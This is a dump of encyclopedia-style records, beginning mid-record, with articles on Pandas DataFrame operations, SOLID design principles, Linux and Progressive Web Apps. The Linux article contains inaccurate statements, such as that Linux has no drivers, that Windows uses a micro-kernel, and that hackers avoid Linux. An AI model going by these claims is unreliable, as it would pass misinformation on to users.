two levels on index, `df.swaplevel()` will change the order of the levels. \n\nNote that `df.loc[('a','one'),:]` is valid but `df.loc[['a','one'],:]` is not. In this context, lists and tuples have different semantics: \n\n> For indexing, a tuple is a multi-level key whereas a list specifies several keys.\n\n\n### How can I filter a Pandas DataFrame?\n\nBoolean arrays of same size as index can be used for filtering, that is, select rows indexed with `True`. For example, `df.loc[~df.index.isin([11])]` ignores a specific index; `df[df['A']>0]` selects only positive values of column A; `df[(df['A'] > 2) & (df['B'] < 3)]` shows a complex expression where use of parenthesis is important. \n\nThe method `query()` can simplify the syntax for complex expressions. Thus, for columns a-d, we can write `df.query('a not in b')` instead of `df[~df['a'].isin(df['b'])]`; `df.query('a in b and c < d')` instead of `df[df['b'].isin(df['a']) & (df['c'] < df['d'])]`. \n\nWhereas `df[df.A>0]` will return rows that match the condition, `df.where(df.A>0)` will return a DataFrame of same shape as the original. Where the condition is False, NaN will be returned. Optional second argument to `where()` is a replacement value. The inverse boolean operation of `where()` is `mask()`, that is, it returns rows that don't match the condition. \n\nTo select only rows with null values, use `df[df.isnull().any(axis=1)]`. Use `df[~df.isnull().any(axis=1)]` to do the reverse. \n\nFor MultiIndex DataFrame, `isin()` method can be used. For example, `df.loc[df.index.isin([('a','one'), ('b','two')])]` or `df.loc[df.index.isin(['a','c'], level=0)]`. \n\n\n### How do I do GroupBy operations on a Pandas DataFrame?\n\nGroupBy uses a **split-apply-combine** workflow. Data is split using index or column values. A function is applied to each group independently. The results are combined into a single data structure. In the apply step, data can be **aggregated** (sum, mean, min, etc), **transformed** (normalize data, fill missing values, etc) or **filtered** (discard small groups, filter data based on group mean, etc). \n\nTo group by single column 'A' or index 'a', use `df.groupby('A')` or `df.groupby('a')`. Index grouping can also be done by position: `df.groupby(level=0)`. To group by multiple columns or indices, use `df.groupby(['a', 'A'])`. To group by all levels except 'b', use `df.groupby(level=df.index.names.difference('b'))`. If a column and index share the same name 'b', use `df.groupby([pd.Grouper(level='b'), 'A'])` (index 'b') or `df.groupby([pd.Grouper('b'), 'A'])` (column 'b').\n\nTo aggregate, simply call the function after grouping: `df.groupby('A').sum()`; or `df.groupby('A').agg([np.sum, np.mean])` to aggregate in many ways. Each column can be aggregated differently: `df.groupby('A').agg({'C': np.sum, 'D': lambda x: np.std(x, ddof=1)})`. \n\nMethods `transform()`, `filter()`, `resample()`, `expanding()`, `rolling()` and `emw()` can be used after `df.groupby()`. For grouping datetime types, `pd.Grouper(key, level, freq, axis, sort)` is useful. \n\n\n### How can I reshape a Pandas DataFrame?\n\nWhen data is in \"record\" form, `pivot()` spreads rows into columns. Method `melt()` does the opposite. Methods `stack()` and `unstack()` are designed for MultiIndex objects and they're closely related to pivot. They can be applied on Series or DataFrame. Here are a few examples: \n\n    + `df.pivot(index='foo', columns='bar', values='baz')`: Column 'foo' becomes the index, 'bar' values become new columns and values of 'baz' becomes values of the new DataFrame. A more generalized API is `df.pivot_table()` that allows for duplicate values of an index/column pair.\n    + `df.melt(id_vars=['A','B'])`: Two columns are retained and other columns are spread into rows. Two new columns named 'variable' (with old column names as values) and 'value' are introduced. Original index can be retained but values will be duplicated.\n    + `df.stack()`: Columns becomes part of a new inner-most index level. If DataFrame has hierarchical column labels, level can be specified as argument.\n    + `df.unstack('second')` or `df.unstack(1)`: Values of index 'second' are spread into new columns. If no argument is supplied, the inner-most index is spread.These methods when combined with GroupBy and aggregations can be expressive. Examples: `df.stack().mean(1).unstack()`, `df.groupby(level=1, axis=1).mean()`, `df.stack().groupby(level=1).mean()` and `df.mean().unstack(0)`. \n\n\n### What are the ways to combine two datasets in Pandas?\n\nPerhaps the simplest is to understand is concatenating two or more frames that share the same column labels. Rows of one are concatenated to the other: `pd.concat([df1, df2])`. To concatenate column-wise, use `pd.concat([df1, df2], axis=1)`. If the index values don't match, we re-index before concatenating: `pd.concat([df1, df2.reindex(df1.index)], axis=1)`. Argument `join` takes values `outer` (default) and `inner`. An outermost level of multi-index can be created with `pd.concat([df1, df2], keys=['A','B'])`. \n\nDatabase-style joins are possible with `df.join(df1)` in which the argument `how` takes four values: `left`, `right`, `outer`, `inner`. By default, joins are based on index. With `on` argument, we can choose to join column or index level of `df` with index of `df1`. Joins based on MultiIndex are supported. \n\nMethod `df.merge()` is more flexible than join since index levels or columns can be used. If merging on only columns, indices are ignored. Unlike join, cross merge (a cartesian product of both frames) is possible. Methods `pd.merge()`, `pd.merge_ordered()` and `pd.merge_asof()` are related. \n\nExamples of merge, join and concatenate are available in the user guide.\n\n\n### Could you share some best practices or tips for using Pandas DataFrame?\n\nHere are some tips and pointers relevant to DataFrame operations:\n\n    + While `df['A']` is used to access a column, `df.A` is a handy short form. This is called **attribute access**. Column name must be a valid Python identifier and it shouldn't conflict with existing method/attribute. Thus, `df.1` and `df.first name` (has a whitespace) are not allowed. `df.min` and `df.index` conflict with existing method/attribute.\n    + Syntax `df['A']` results in a Series data structure whereas `df[['A']]` returns another DataFrame.\n    + On a MultiIndex DataFrame, consider `dfmi['one']['second']` versus `dfmi.loc[:, ('one','second')]`. Both give the same result but the latter is faster. The former form is actually two operations: first `dfmi['one']` returns a DataFrame, then `['second']` is **chained** to it.\n    + To create an explicit copy, write `df.copy()`. The statements `df1 = df; df1[0:3] = 0` doesn't create a copy and modifies the original DataFrame.\n    + Remember that `loc[]` is for label-based indexing and `iloc[]` is for integer-based indexing. Integers may be used for the former but they're treated as labels.\n    + When filtering by datetime values, their attributes can be used, such as, `df.loc[(df['Date'].dt.month==3) | (df['Date'].dt.month==11)]`.\n\n\n## Milestones\n\nJul  \n2019\n\nIn Pandas 0.25.0, **Named Aggregation** is introduced. This uses a named tuple `pd.NamedAgg()` with two fields `column` and `aggfunc`. The latter can be set to a callable or a string alias. For a more compact code, plain tuples can be used instead. This is now the recommended replacement for using \"dict-of-dicts\", which was deprecated in version 0.20.0 (May 2017). \n\nJul  \n2020\n\nIn Pandas 1.1.0, `ignore_index` argument is added to `melt()` with default value True. If set to False, index is retained although duplicate values will be present in the result. For GroupBy, it's now possible to retain `NA` values in group keys. For example, `df.groupby(by=[\"b\"], dropna=False).sum()` will retain `NA` values in column 'b'. \n\nDec  \n2020\n\nIn Pandas 1.2.0, **exponentially weighted window** operations are supported. Thus, we can write for example `df.groupby('A').ewm(com=1.0).mean()`.","meta":{"title":"Pandas DataFrame Operations","href":"pandas-dataframe-operations"}}
{"text":"# SOLID Design Principles\n\n## Summary\n\n\nIn the world of object-oriented programming (OOP), there are many design guidelines, patterns or principles. Five of these principles are usually grouped together and are known by the acronym **SOLID**. While each of these five principles describes something specific, they overlap as well such that adopting one of them implies or leads to adopting another.\n\nProgramming in strict conformance to SOLID is generally not expected. However, programmers must be aware of SOLID and use them depending on the context. \n\nIn general, SOLID helps us manage code complexity. It leads to more maintainable and extensible code. Even with big change requests, it's easier to update the code.\n\n## Discussion\n\n### What problems are solved or avoided by applying SOLID?\n\nSoftware may start with a clean and elegant design but over time they become hard to maintain, often requiring costly redesigns. Robert Martin, who's credited with writing down the SOLID principles, points out some symptoms of rotting design due to improperly managed dependencies across modules: \n\n    + **Rigidity**: Implementing even a small change is difficult since it's likely to translate into a cascade of changes.\n    + **Fragility**: Any change tends to break the software in many places, even in areas not conceptually related to the change.\n    + **Immobility**: We're unable to reuse modules from other projects or within the same project because those modules have lots of dependencies.\n    + **Viscosity**: When code changes are needed, developers will prefer the easier route even if they break existing design.Antipatterns and improper understanding of design principles can lead to *STUPID* code: Singleton, Tight Coupling, Untestability, Premature Optimization, Indescriptive Naming, and Duplication. SOLID can help developers stay clear of these. \n\nThe essence of SOLID is managing dependencies. This is done via interfaces and abstractions. Modules and classes should not be tightly coupled.\n\n\n### As a beginner, what are some things to keep in mind when applying SOLID?\n\nSOLID is really a guideline and not a rule. They work in many cases but they're not guaranteed to always work. \n\nJust knowing the principles will not turn a bad programmer into a good one. This means that programmers need to understand why these principles make sense. They need to apply them with judgement. If they see code that violates these principles, they must try to see if the violations can be justified. If not, they can apply one or more principles to improve the code. Practice is the key. \n\n\n### Could you explain the Single Responsibility Principle?\n\nA class or a module must have a specific responsibility and nothing more. Put it another way, it should change for only one reason. We can say that the responsibility is encapsulated within the class and there's stronger cohesion within the class. \n\nFor example, an Automobile class can start or stop itself but the task of washing it belongs to the CarWash class. In another example, a Book class has properties to store its own name, author and text. But the task of printing the book must belong to the BookPrinter class. The BookPrinter class might print to console or another medium but such dependencies are removed from the Book class. \n\nWhen SRP is followed, testing is easier. With a single responsibility, the class will have fewer test cases. Less functionality also means less dependencies to other modules or classes. It leads to better code organization since smaller and well-purposed classes are easier to search. \n\n\n### Could you explain the Open-Closed Principle?\n\nIt should be possible to extend a module with additional behaviour without modifying it. This means that functions or base class methods should not get polluted with details of subclasses. A function that checks object types is a violation of OCP. This is because when a new object type is added, this function has to be modified to handle the new type. **Abstraction** is the key to getting OCP right. Two possible ways of doing this is polymorphism or templates/generics. \n\nOCP is important since classes may come to us via third-party libraries. We should be able to extend those classes without worrying if those base classes can support our extensions. But inheritance can lead to subclasses depending on base class implementation. To avoid this, use of **interfaces** is recommended. This additional abstraction leads to loose coupling. \n\nFor example, a Car class might have methods AccelerateAudi, AccelerateBMW, and so on. This is a violation of OCP. Instead, we should have an ICar interface with method Accelerate. Each car subclass can implement this interface. \n\n\n### Could you explain the Liskov Substitution Principle?\n\nThis principle states that we can substitute a subclass for its base class without affecting behaviour. This avoids misusing inheritance. It helps us conform to the \"is-a\" relationship. We can also say that subclasses must fulfil a contract defined by the base class. In this sense, it's related to **Design by Contract** that was first described by Bertrand Meyer. For example, it's tempting to say that a circle is a type of ellipse but circles don't have two foci or major/minor axes. \n\nIn another example, TRubberDucky is not exactly a duck because it can swim or quack but can't fly. So if a wildlife simulator instantiates a rubber duck and tries to make it fly, it will encounter an error. Thus, TRubberDucky as a subclass of TDuck is a violation of LSP. \n\nLSP is also related to Duck Typing. In fact, duck typing doesn't even require a type hierarchy via inheritance. \n\n\n### Could you explain the Interface Segregation Principle?\n\nSegregate the interfaces so that subclasses are not required to use all of them. In other words, many client-specific interfaces are better than one general-purpose interface. \n\nFor example, a single logging interface for writing and reading logs is useful for a database but not for a console. Reading logs make no sense for a console logger. \n\nAnother example is an IMatrixOperations interface that has two methods for inverse and transpose operations. Problem is that for a matrix that's not regular, inverse operation is invalid. Such a matrix based on this interface would throw an exception for an inverse operation. Applying ISP, we would break this interface into separate ones, IRegularMatrixOperations (with inverse operation) and IMatrixOperations (that adds transpose operation). IMatrixOperations derives from IRegularMatrixOperations. \n\n\n### Could you explain the Dependency Inversion Principle (DIP)?\n\nDIP says that modules should depend upon interfaces or abstract classes, not concrete classes. It's an inversion because implementations depend upon abstractions and not the other way round. Instead of high-level modules depending on low-level modules, let's decouple them and make use of abstractions. \n\nLet's say we instantiate a Windows98Machine object that's automatically created with a StandardKeyboard. Problem is that now we've coupled this keyboard with the machine. It's difficult to instantiate another machine with a different keyboard. This tight coupling also makes it difficult to test the Windows98Machine class. Instead, keyboard must be an interface. Any keyboard variant that uses this interface can be passed into the machine when the latter is constructed. \n\n\n### What are some common criticisms of SOLID?\n\nWhile some criticisms are valid, often they arise due to misunderstanding of SOLID. People have called the principles vague. They lead to complex and unintelligible code since we end up with many interfaces and many small classes. DIP depends on dependency injection frameworks. LSP requires implementation inheritance. Most of these are not really true. SOLID principles are condensed software wisdom. Just knowing them is not a substitute for experience and understanding. \n\nSOLID focuses too much on dependencies. It encourages use of abstractions resulting in codebase littered with interfaces. To manage this problem, we end up introducing IoC containers and mocking frameworks, making the code more difficult to understand. SOLID produces testable code with low coupling but code is unintelligible. \n\nIt's been said that OCP doesn't work in practice, particularly for domain entities or business classes that by nature change frequently. Following OCP would lead to long inheritance chains and also a violation of another design principle, \"favour composition over inheritance\". People have different interpretations about what should be open and what should be closed. This leads to inconsistencies. \n\n## Milestones\n\nOct  \n1987\n\nBarbara Liskov of MIT presents at a conference a paper titled *Data Abstraction and Hierarchy*. She uses the term \"substitution property\" and explains,\n\n> Data abstractions provide the same benefits as procedures, but for data. Recall that the main idea is to separate what an abstraction is from how it is implemented so that implementations of the same abstraction can be substituted freely.\n\n1988\n\nBertrand Meyer, the creator Eiffel programming language, publishes a book titled *Object-Oriented Software Construction*. Meyer is credited with introducing the Open-Closed Principle. \n\n1990\n\nWith growing codebases and complexity, object-oriented software design becomes popular to better manage software. But this change of programming paradigm from procedural to object-oriented does not automatically lead to clean code. Developers write large classes and methods. Code is duplicated. Old habits continue. There arises a need to guide developers design object-oriented software the right way. \n\n1994\n\nBarbara Liskov and Jeannette Wing present the case that anyone making use of supertype objects should not see any difference in behaviour even if using a subtype object instead. This later becomes a principle of SOLID. This principle is also related to what Bertrand Meyer calls **Design by Contract**. \n\nMar  \n1995\n\nOn com.object group, Robert Martin mentions a number of commandments for OOP. Three of these would later become part of SOLID: Open-Closed, Liskov Substitution, Dependency Inversion. \n\n2000\n\nRobert Martin writes in detail about four of the SOLID principles. The Single Responsibility Principle doesn't appear on this list. \n\n2002\n\nRobert Martin publishes the book *Agile Software Development: Principles, Patterns, and Practices*. He explains in detail all the five SOLID principles under a section named \"Agile Design\". Thus, SOLID becomes an essential aspect of Agile methodology. Sometime later Michael Feathers coins the term SOLID as a useful way to remember the principles. \n\n2017\n\nInterVenture publish extensions of SOLID. They identify six more principles. These are by no means universal in the industry but are worth studying. \n\nSep  \n2020\n\nPaulo Merson notes in a blog article that SOLID was designed OOP. It may not exactly fit microservices. For microservices, he therefore proposes **IDEALS**: interface segregation, deployability (is on you), event-driven, availability over consistency, loose-coupling, and single responsibility.","meta":{"title":"SOLID Design Principles","href":"solid-design-principles"}}
{"text":"# Linux\n\n## Summary\n\n\nLinux is a kernel used with GNU operating system. It is a Unix-like, open source and community-developed system for computers, servers, mobile devices and embedded devices. It communicates between hardware and software devices of the system and enables all the applications. \n\nIn use cases and applications Linux is similar to other operating systems such as Windows or MacOS. It has word processors, photo editors, video editors and many other applications. It is open source which allows users to view, edit or even contribute to the Linux.\n\nIndividuals and companies use it mostly for operating servers as it is more secure and flexible but it is also used in making Android phones, tablets, Chromebooks, digital storage devices, personal video recorders, cameras and many more devices.\n\n## Discussion\n\n### What are components of a Linux system?\n\nLinux operating system comprises different components:\n\n    + **Bootloader**: It is code that manages the boot process of computer. GRUB is the most common boot loader in Linux.\n    + **Kernel**: It is the main component of Linux operating system. It manages the CPU, memory, and other peripheral devices. It communicates between a computer's hardware and its processes.\n    + **Init System**: It is the first process that run once the kernel is loaded. It acts as the parent process to all other processes running on the system.\n    + **Daemons**: These are programs that run in background and handle requests for a service such as printing, sound or scheduling. Httpd daemon is used to listen for web server requests on Linux web servers.\n    + **Graphical Server**: It controls how graphics are displayed on the computer screen. Servers and even low-end embedded devices don't need graphical servers or desktop environments.\n    + **Desktop Environment**: It is a collection of software and UI controls that users interact with. Each desktop environment comes with built-in applications such as file managers, configuration tools, web browsers, and games.\n\n### What are some basic Linux terms?\n\nBelow are some basic terms used in Linux:\n\n    + **Command**: These are printable characters that user type into a program called the ‘command line' to give instructions to the operating system.\n    + **Distro**: Linux distribution or distro is a specific version of Linux OS packaged with other components including installation programs, management tools and other software.\n    + **Root**: Linux systems have predefined set of rules for users. Different users have different levels of permissions. For instance, a guest user won't be able to modify the OS's main files while a root user (aka *administrator*) has full access to every command and file in the system.\n    + **Terminal**: It invokes applications whose execution is scheduled by OS transparent to the user. The UI of terminal is very simple and easy to use.\n    + **Shell**: It is Linux command line interpreter. It executes the command given by user.\n    + **Device**: There are various special files under the directory `/dev`. These files are called device files. The most common types of device files are block devices and character devices. Character devices communicate by sending and receiving single characters. Block devices communicate by sending blocks of data.\n\n### What are some basic services/utilities provided in Linux?\n\nBelow are some basic services/utilities provided in Linux:\n\n    + **User management**: User management activities such as adding user, deleting user, updating or giving certain permissions, creating and removing groups require administrator privileges. Admin permissions can be gained either by changing to the root user with the `su` command or using `sudo`.\n    + **File system**: Linux file system has a hierarchal file structure as it contains a root directory and its subdirectories.\n    + **Scheduler**: The scheduler also called as process scheduler is the component of the kernel that schedules the processes to run in a systematic manner.\n    + **Process management**: Each process starts with a unique five-digit number called process id or PID. We can track the process using this PID.\n    + **Package management**: It helps to install, update, remove, and keep track of software updates in the Linux system.\n    + **Memory management**: Linux memory management subsystem manages the implementation of virtual memory and demand paging, memory allocation both for kernel internal structures and user space programs, mapping of files into processes address space and many other things.\n\n### How does Linux differ from other operating systems?\n\nThe Linux is totally free of cost whereas Windows is a costly OS. Unlike in Windows, users can access the source code of Linux as it is open source. Linux is more secure compared to Windows and MacOs. File names are case sensitive in Linux which is not the case in Windows. Linux uses the monolithic kernel while Windows utilizes the micro-kernel. Linux is more efficient than Windows in performing operations while Windows has a better user friendly UI and navigation. Hackers use Linux based systems as Windows is not a very efficient OS for hacking purposes. \n\n\n### Which industries use Linux?\n\nLinux is the core of many industries while Windows OS dominates in market share. Linux is the most favourite operating system of Microsoft Azure's customers. It is used to develop several coding languages and build embedded systems. Microsoft's operating system named Azure Sphere is also built on Linux kernel. \n\nThere are broadly two types of categories that use Linux:\n\n    + **Consumer devices**: Google's video streaming platform Chromecast also runs on Linux. Panasonic, Samsung, Phillips and many more use Linux-based operating systems for their devices. Lightweight laptops such as Chromebook use Chrome OS, which is built on Linux. Instagram, Facebook, YouTube and Twitter all run on Linux.\n    + **Non-consumer devices**: In US, The Library of Congress, House of Representatives, Senate, and White House all use Linux. The New York Stock Exchange uses Linux. The Indian state Kerala has made Linux mandatory for all the high schools computers. NASA's Pleiades supercomputer runs on Linux. The International Space Station switched from Windows to Linux in 2013 due to its reliability. Linux is the leading operating system used for servers.\n\n### How can I get started using Linux?\n\nThe prerequisites for learning Linux includes basic computer skills and a basic computer system with single-core CPU, 128 MB of memory and few GBs of hard disk. \n\nFirst step is to decide the Linux distro version to use. There are many beginner friendly and free-to-use Linux distros such as Ubuntu, Debian GNU, openSUSE and CentOS. Each of them has its own advantages and features. After selection, one needs to install the Linux distro on the system. \n\nIn the learning phase users have a lot of problems and challenges which they can tackle using communities such as StackOverflow and GitHub as they are helping open-source communities. Below are some courses and cheatsheets to learn Linux command line: \n\n    + Learn The Linux Command Line: Basic Commands\n    + Linux Tutorials and Projects\n    + Learn Linux on a MAC\n    + Linux Commands Cheat Sheet by Linux training academy\n    + Linux Command Line Cheat Sheet by DaveChild\n    + Linux Command Line by Das\n    + Books: *The Linux Command Line: A Complete Introduction* by William Shotts and *How Linux Works* by Brian Ward are two books for beginners.\n\n### What are the pros and cons of using Linux?\n\nAs it has a small user base compared to other OS, hackers avoid targeting it. Every Linux distribution is tested many times against bugs before releasing a stable version which makes it a stable option. Linux is released under the GNU GPL license which makes it free to use. Unlike Windows and MacOS, users are free to customize Linux distributions according to their needs. Linux systems can run on even 500 MB ram or at 256 MB RAM, as it uses resources very efficiently. Users can install software using a few commands on terminal. \n\nHowever, Linux has some disadvantages. It is less user-friendly compared to Windows and MacOS. Troubleshooting in Linux is difficult for beginners. It is not a preferred option for games. There are no drivers in Linux which can be a significant issue at times. \n\n## Milestones\n\nSep  \n1991\n\nLinus Torvalds releases **Linux kernel**. \n\n1992\n\nOrest Zborowski ports the X Window System to Linux. As a result Linux starts gaining more importance and user base. It allows Linux to support **Graphical User Interface (GUI)**. Linux Kernel is released under GPL licence. \n\n1993\n\n**Slackware** Linux version 1.0 is released. Even 25 later, it remains the oldest Linux distribution that's actively maintained. \n\n1994\n\n**Linux 1.0.0** is released with 176,250 lines of code. In June 1996, Torvalds releases Linux version 2.0.0. that contains 41 releases. Support for symmetric multiprocessing (SMP) and support for more types of processors are added in this version. On 04 January 2001, Linux version 2.4.0 is released. It consists support for ISA Plug and Play, USB, and PC Cards. On 17 December 2003, Linux version 2.6.0 is released. Support for files of other OS such as JFS, XFS, Solaris, Windows and MS-DOS is added. Torvalds releases Linux version 3.0 on 22 July 2011. \n\n1996\n\nA project for desktop Linux called as **KDE** is announced. A year later, an alternative desktop environment called **GNOME** is announced. It's supposed to provide free and complete set of user friendly applications and desktop tools. In 1999, GNOME 1.0 is released at Linux Expo. \n\n2003\n\nAn attempt is made to insert a backdoor in the Linux kernel source. The backdoor is designed to obtain root privileges under specific conditions. Linux Kernel maintainers acknowledge it before it could access Linux kernel and do any harm. \n\n2005\n\nThe free version control system used for the Linux Kernel development called BitKeeper becomes paid. Linus Torvalds decides to work on his own version control system and creates **Git**. \n\n2008\n\nA mobile operating system based on Linux Kernel called as **Android** is released. Android would go on to become the leading OS in the world of mobile operating systems. \n\n2011\n\nMicrosoft which was at war with Linux now partners with LinuxTag for their event. In 2012, Microsoft sponsors LinuxTag event. It also starts hosting Linux virtual machines in the Azure cloud computing service.","meta":{"title":"Linux","href":"linux"}}
{"text":"# Progressive Web Applications\n\n## Summary\n\n\nA Progressive Web App (PWA) is a web app that uses the latest advances in web technologies and browser support to deliver users an app-like experience. Like any traditional mobile app, a PWA can be launched from an icon installed on the mobile home screen, data can be cached for offline use and can receive push notifications even when the browser is closed. PWAs don't have a navigation bar or URL bar usually seen in web browsers. Thus, they can deliver the same fullscreen experience as mobile apps. \n\nCompared to mobile web, PWAs have better performance and thereby improve user retention and engagement. At the same time, unlike native apps, they don't need long downloads and installs. They're also easier to deploy and maintain since developers don't have to worry about different versions of the app out there.\n\n## Discussion\n\n### Why do we need PWA?\n\nThe next billion users to come online will be from the developing world and they are likely to do so from their smartphones rather than desktops. They are likely to consume rich multimedia and do voice-based searches. They're also likely to use low-end devices with limited memory, storage and processing. \n\n53% of users leave a page that takes longer than 3 seconds. An average mobile web page takes 19 seconds to load on a 3G connection. Among Indian mobile users, 33% run out of storage every day. 79% of shoppers won't return to slow sites. 20% users are lost at every step of native app installation process. \n\nHybrid apps tried to bring app-like experience by wrapping web apps into installable mobile apps but this approach may give way to PWA. Many others tried to deliver app-like experiences but sacrificed web linkability in the process. What we need is a way to improve user experience even on low-end devices with limited memory and slow or no connections. PWA aims to deliver this.\n\n\n### What's so \"progressive\" about PWA?\n\nPWA are web apps that \"progressively change with use and user consent to give the user a more native-app-like experience.\" Unlike native apps, PWA don't ask users upfront permissions to install the app or access private data. PWA involves minimum friction for users. If the user is happy with the website, she can choose to add it to the homescreen. The site earns the right to become an app. It becomes progressively an app. \n\nIf new features are introduced into web standards (example, Payment Request API, Credential Management API or WebVR), and when browsers support them, and when apps start using them, the entire experience becomes richer and more progressive for users. The experience is seamless. It doesn't involve new installs. Users can continue using older versions of browsers until they are ready. We call this *progressive enhancement*. This means that even on browsers that don't support service workers, progressive enhancement allows those browsers to display content. It's been said that progressive enhancement is the opposite of graceful degradation. \n\nLet's also note that publishers can deploy a PWA without the approval process that native apps go through to get listed on an app store. \n\n\n### What are the key enablers of PWA?\n\nWe can identify three key enablers of PWA:\n\n    + **Service Workers**: These cache data, serve data from cache in offline mode or when downloading fresh content in the background, and enable push notifications. While service workers do caching for offline mode, they also bring reliability in the face of varying network conditions. We can view service workers as proxies implemented in JavaScript. These are proxies listening for network activity, intercepting them and handling them programmatically.\n    + **Application Shell Architecture**: The app's layout is already with the service worker and hence this can be shown to user while content is being downloaded in the background. Thus, the \"app shell\" is almost instantly shown to the user without any waiting time. We can think of this shell as minimal HTML, CSS and JS without the dynamic content. App shell is not a Web API but really a design approach that works nicely with the capabilities of service workers.\n    + **Application Manifest**: This tells the browser that the mobile website can be installed as an app.\n\n### What are the characteristics of a good PWA?\n\nIn general, Google states that a delightful web experience needs to be fast, integrated, reliable and engaging. To quality as PWA, an app should have the following characteristics: \n\n    + **Progressive**: Works across browsers and enabled with progressive enhancement.\n    + **Responsive**: Works on a variety of devices of different form factors.\n    + **Connectivity-independent**: Service workers make this possible by serving from cache.\n    + **App-like**: Browser tabs and navigation are replaced with app shell architecture and app style navigation.\n    + **Fresh**: Service workers keep dynamic content up to date.\n    + **Safe**: All communication is over HTTPS.\n    + **Discoverable**: Manifest file allows them to be identified as PWA. Search engines can find them.\n    + **Re-engageable**: Push notifications keep user engagement and retention high.\n    + **Installable**: Add to homescreen without requiring download and install via an app store.\n    + **Linkable**: Deep link to specific pages within the app. Power of web linking is not sacrificed.\n\n### Is PWA a new web standard?\n\nNo. Making a PWA is simply using existing web standards and adopting certain best practices to improve user experience. PWAs combine the best of the web and native apps. \n\nHaving said that, browsers and platforms can recognize an app as PWA and give it special handling. For example, they may make it easier to add a PWA to homescreen, list it among installed native apps or even add it to their app stores. \n\n\n### What tools and techniques are available for building a PWA?\n\nSince PWA uses an app shell, it's important to keep the shell minimal. The app infrastructure and UI should be separated from the data. The former can be cached and only data needs to be fetched when changes occur. \n\nThe use of PRPL pattern is common when building a PWA. Polymer templates can be used for this. HTTP/2 server push and/or the use of `<link rel=\"preload\">` can improve performance. Code splitting and lazy loading have been suggested. Feature detection and CSS fallbacks can help in delivering progressive enhancements. Consider using Knockout for small projects. \n\nThe Application tab of Chrome Developer Tools is useful during development. It also comes with Lighthouse, which can give a PWA conformance score for your app. HN PWA is a useful reference that has Lighthouse scores of different frameworks. The Service Worker Cookbook, PWABuilder, Workbox, sw-precache and sw-toolbox are useful resources. In Chrome or Opera, `chrome://serviceworker-internals` can be useful. Osmani and Gaunt mention other useful tips and tricks. \n\n\n### Can I use PWA along with Accelerated Mobile Pages (AMP)?\n\nPWA loads an app shell first while service workers download and cache the dynamic content in the background. Cache helps when users revisit the page but PWA does not cut down on load time for the first access. This is the problem that Accelerated Mobile Pages (AMP) aims to solve. \n\nAMP gives the experience of \"instant\" loading of content at first access. They achieve this by statically laying out content and avoiding JS execution. In addition, AMP caches content for subsequent requests. AMP is suitable for static content but when dynamic functionality is required (push notifications, web payments, etc.) PWA is more suitable. \n\nIn fact, AMP can work nicely with PWA. Different models have been proposed: **AMP as PWA**, **AMP to PWA**, **AMP in PWA**. Thus, AMP and PWA should be seen as complementary technologies. As an example, AMP HTML can be the canonical data format that's downloaded and cached by PWA service workers. Alex Russell says of AMP and PWA, \n\n> AMP gets content in front of users fast. PWA deliver reliable performance for re-visits.\n\n\n### How does PWA relate to Single Page Applications (SPAs)?\n\nSPAs are heavy on JavaScript and regardless of the framework of choice they use the App Shell Architecture. Shell is served first to the user while JavaScript downloads and displays dynamic content to complete the view. SPAs can now benefit by adopting PWA to precache content, sync to dynamic content in the background and reuse content from cache. This means that SPAs are fundamentally unchanged but they are powered by PWA best practices to give better user experience.\n\nIn fact, SPAs usually load only data and render them on the client side. With PWA, server-side rendering is preferred. Client-side rendering should be kept minimal to improve user experience. \n\nSome claim that you need an SPA to build a PWA. In other words, a site that already has an app-like interface will be easy to transition to PWA. However, Condé Nast makes the point that it's perfectly possible to build a PWA without it being an SPA. \n\n\n### How is browser and platform support for PWA?\n\nSince PWA is based on web standards, developers need to consider support for those standards. This would include parsing a manifest file, adding to homescreen, supporting service workers and so on. As of November 2017, Google Chrome and Mozilla Firefox support it but Safari doesn't. Jake Archibald maintains current support for service workers in browsers.\n\nThere's no consensus on menu items such as \"Add to Homescreen\", which may be phrased differently in each browser. \n\nWhere cross-browser support is lacking, a native mobile app may be better than a PWA. It's also been suggested that having an app as PWA plus native or hybrid variants may give users more choice. \n\nReact, Preact, Angular and Vue.js are some examples of platforms that have support for service workers and app manifest file generation. \n\n\n### Are there good examples of PWA?\n\nA curated list of ten PWA apps includes Ali Express, Flipkart Lite, Wego, Trivago, Flipboard and Telegram. Flipkart Lite is an e-commerce app from India. Air Berlin that allows for online check-in and displays cached boarding cards in offline mode. Twitter, Lyft, Uber and Starbucks are some big names that have taken the PWA route. Other PWA examples include Wired, The Washington Post, The Guardian, The Weather Company, Forbes and Financial Times. AirHorner showcases PWA capabilities well. \n\n\n### Has PWA proven itself in the real world against web apps and native mobile apps?\n\nHere are some success stories:\n\n    + Twitter Lite, built as PWA with React and Node.js, has achieved 75% increase in tweets and reduced data usage by as much as 70%.\n    + Google PWA install banners have 5-6x more conversions than native install banners.\n    + The Weather Channel achieved 80% faster loading with PWA.\n    + Lancôme's PWA version of its e-commerce site gave 84% decrease in time to interaction and 17% increase in conversion.\n    + India's MakeMyTrip saw conversion rate triple and a 160% increase in shopper sessions.\n    + Alibaba's PWA has brought 76% rise in conversions and four times higher interaction rate.\n    + Forbes has seen a 100% increase in session duration and more 43% more sessions per user.\n\n### Is PWA only for the mobile world?\n\nNo. PWA can be used to enhance desktop experience as well. Samsung DeX is an example of this. While Chrome for Android supports PWA, desktop version of Chrome will also start supporting PWA in 2018. If we consider VR experiences within a browser using WebVR, PWA can enable these on mobile as well as desktop. \n\n## Milestones\n\n2011\n\nIt becomes possible to bookmark web apps to the homescreen. \n\nOct  \n2014\n\nWeb app manifest is now a JSON file allowing us to specify app name, icon and how the app should be launched. The implies that we no longer need to give configuration in the `head` part of the HTML page. \n\nDec  \n2014\n\nChrome starts supporting service workers. \n\nJun  \n2015\n\nGoogle engineer Alex Russell explains PWA. \n\nMay  \n2016\n\nGoogle announces PWA. \n\nOct  \n2017\n\nMozilla announces that will embrace PWA, starting first with Android. Firefox has supported service workers and push notifications since 2016.","meta":{"title":"Progressive Web Applications","href":"progressive-web-applications"}}
